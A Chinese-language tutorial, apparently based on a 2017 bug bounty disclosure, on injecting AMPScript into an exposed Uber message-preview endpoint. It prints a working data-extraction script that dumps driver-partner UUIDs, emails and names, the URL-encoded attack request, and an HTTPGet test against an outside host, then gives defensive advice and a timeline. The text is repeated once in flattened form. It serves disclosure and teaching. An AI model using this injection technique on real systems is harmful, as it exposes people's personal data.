利用AMPScript获取Uber用户数据的访问权限
字数 1456 2025-08-27 12:33:42

AMPScript漏洞利用教学:从Uber案例学习数据提取技术

1. 漏洞背景与发现

1.1 攻击面发现

  • 目标系统: Uber的子域名 exacttarget-web-hook.uber.com
  • 初始状态: 返回普通的"Not Found"错误
  • 变化发现: 突然开始返回内部测试响应,显示为消息个性化系统的API控制台

1.2 系统功能分析

  • 该系统是Uber的消息个性化系统,用于测试包含用户个性化设置的文本消息
  • 使用AMPScript脚本语言(Salesforce Marketing Cloud/ExactTarget开发)
  • 主要功能是通过API控制台预览个性化消息

2. AMPScript基础

2.1 AMPScript概述

  • 由ExactTarget开发,后被Salesforce收购
  • 用于嵌入HTML邮件、文本邮件、登录页面和SMS消息中
  • 主要功能是控制展示给个人消费者的内容

2.2 基本语法

%%[ 
  // AMPScript代码块
  SET @variable = value 
]%%

%%= v(@variable) =%%  // 输出变量

2.3 关键函数

  • LOOKUP(): 从数据扩展中查找数据
  • HTTPGet(): 发送HTTP GET请求并获取响应
  • LookupRows(): 从数据扩展中查找多行数据
  • RowCount(): 获取行数
  • Row(): 获取特定行
  • Field(): 获取行中的特定字段

3. 漏洞利用过程

3.1 初始测试

  1. 尝试使用API控制台提供的示例contractKey失败
  2. 发现需要真实用户的UUID而非示例UUID
  3. 从登录后的https://riders.uber.com/profile页面HTML源码中提取真实UUID

3.2 API请求构造

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com

3.3 AMPScript功能测试

  1. 发现HTTPGet函数可执行外部请求:
%%=HTTPGet('https://ipinfo.io')=%%
  1. 确认请求来自ExactTarget服务器(AS22606)而非Uber服务器

3.4 数据提取技术

  1. 识别driver_partners数据扩展包含用户数据
  2. 使用LookupRows函数搜索特定条件的数据

完整数据提取脚本:

%%[ 
  SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs') 
  SET @rCount = RowCount(@prefArray) 
  FOR @i = 1 TO @rCount DO 
    SET @Row = Row(@prefArray, @i) 
    SET @ID = Field(@Row, 1) 
    SET @UUID = Field(@Row, 2) 
    SET @joinDate = Field(@Row, 3) 
    SET @email = Field(@Row, 4) 
    SET @firstName = Field(@Row, 5) 
]%% 
  %%= v(@UUID) =%% 
  %%= v(@joinDate) =%% 
  %%= v(@email) =%% 
  %%= v(@firstName) =%% 
%%[ 
  NEXT @i 
]%%

3.5 URL编码后的攻击请求

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com

4. 漏洞影响

4.1 数据泄露范围

  • 能够提取driver_partners数据扩展中的所有字段
  • 包括但不限于:
    • 用户UUID
    • 注册日期
    • 电子邮件地址
    • 名字
    • 其他未知字段(示例中的unknown10)

4.2 攻击扩展能力

  1. 可编写AMPScript提取大量数据
  2. 可搜索特定人员信息(如通过名字过滤)
  3. 可组合多个条件进行精确查询
  4. 可通过HTTPGet函数与外部系统交互

5. 防御建议

5.1 输入验证

  1. message参数进行严格的输入过滤
  2. 限制AMPScript中危险函数的使用(如HTTPGet)

5.2 访问控制

  1. 加强API的身份验证机制
  2. 实施最小权限原则,限制数据扩展的访问范围

5.3 监控与日志

  1. 监控异常的AMPScript执行模式
  2. 记录所有API请求和执行的脚本

5.4 系统设计

  1. 避免将测试环境暴露在公网
  2. 对敏感数据扩展实施额外的保护层

6. 时间线与奖励

  • 发现日期: 2017年11月13日
  • 修复日期: 2017年11月15日(2天内修复)
  • 奖励发放: 2017年12月28日
  • 奖金金额: \(20,000(基础) + \)3,000("最具影响力的报告奖") = $23,000

7. 总结与启示

  1. 持续监控资产变化的重要性
  2. 内部测试接口暴露在公网的风险
  3. 脚本语言功能过于强大的潜在危险
  4. 及时响应和修复的安全团队协作模式
  5. 漏洞赏金计划对提升安全性的价值
AMPScript漏洞利用教学:从Uber案例学习数据提取技术 1. 漏洞背景与发现 1.1 攻击面发现 目标系统 : Uber的子域名 exacttarget-web-hook.uber.com 初始状态 : 返回普通的"Not Found"错误 变化发现 : 突然开始返回内部测试响应,显示为消息个性化系统的API控制台 1.2 系统功能分析 该系统是Uber的消息个性化系统,用于测试包含用户个性化设置的文本消息 使用AMPScript脚本语言(Salesforce Marketing Cloud/ExactTarget开发) 主要功能是通过API控制台预览个性化消息 2. AMPScript基础 2.1 AMPScript概述 由ExactTarget开发,后被Salesforce收购 用于嵌入HTML邮件、文本邮件、登录页面和SMS消息中 主要功能是控制展示给个人消费者的内容 2.2 基本语法 2.3 关键函数 LOOKUP() : 从数据扩展中查找数据 HTTPGet() : 发送HTTP GET请求并获取响应 LookupRows() : 从数据扩展中查找多行数据 RowCount() : 获取行数 Row() : 获取特定行 Field() : 获取行中的特定字段 3. 漏洞利用过程 3.1 初始测试 尝试使用API控制台提供的示例 contractKey 失败 发现需要真实用户的UUID而非示例UUID 从登录后的 https://riders.uber.com/profile 页面HTML源码中提取真实UUID 3.2 API请求构造 3.3 AMPScript功能测试 发现 HTTPGet 函数可执行外部请求: 确认请求来自ExactTarget服务器(AS22606)而非Uber服务器 3.4 数据提取技术 识别 driver_partners 数据扩展包含用户数据 使用 LookupRows 函数搜索特定条件的数据 完整数据提取脚本: 3.5 URL编码后的攻击请求 4. 漏洞影响 4.1 数据泄露范围 能够提取 driver_partners 数据扩展中的所有字段 包括但不限于: 用户UUID 注册日期 电子邮件地址 名字 其他未知字段(示例中的unknown10) 4.2 攻击扩展能力 可编写AMPScript提取大量数据 可搜索特定人员信息(如通过名字过滤) 可组合多个条件进行精确查询 可通过 HTTPGet 函数与外部系统交互 5. 防御建议 5.1 输入验证 对 message 参数进行严格的输入过滤 限制AMPScript中危险函数的使用(如 HTTPGet ) 5.2 访问控制 加强API的身份验证机制 实施最小权限原则,限制数据扩展的访问范围 5.3 监控与日志 监控异常的AMPScript执行模式 记录所有API请求和执行的脚本 5.4 系统设计 避免将测试环境暴露在公网 对敏感数据扩展实施额外的保护层 6. 时间线与奖励 发现日期 : 2017年11月13日 修复日期 : 2017年11月15日(2天内修复) 奖励发放 : 2017年12月28日 奖金金额 : $20,000(基础) + $3,000("最具影响力的报告奖") = $23,000 7. 总结与启示 持续监控资产变化的重要性 内部测试接口暴露在公网的风险 脚本语言功能过于强大的潜在危险 及时响应和修复的安全团队协作模式 漏洞赏金计划对提升安全性的价值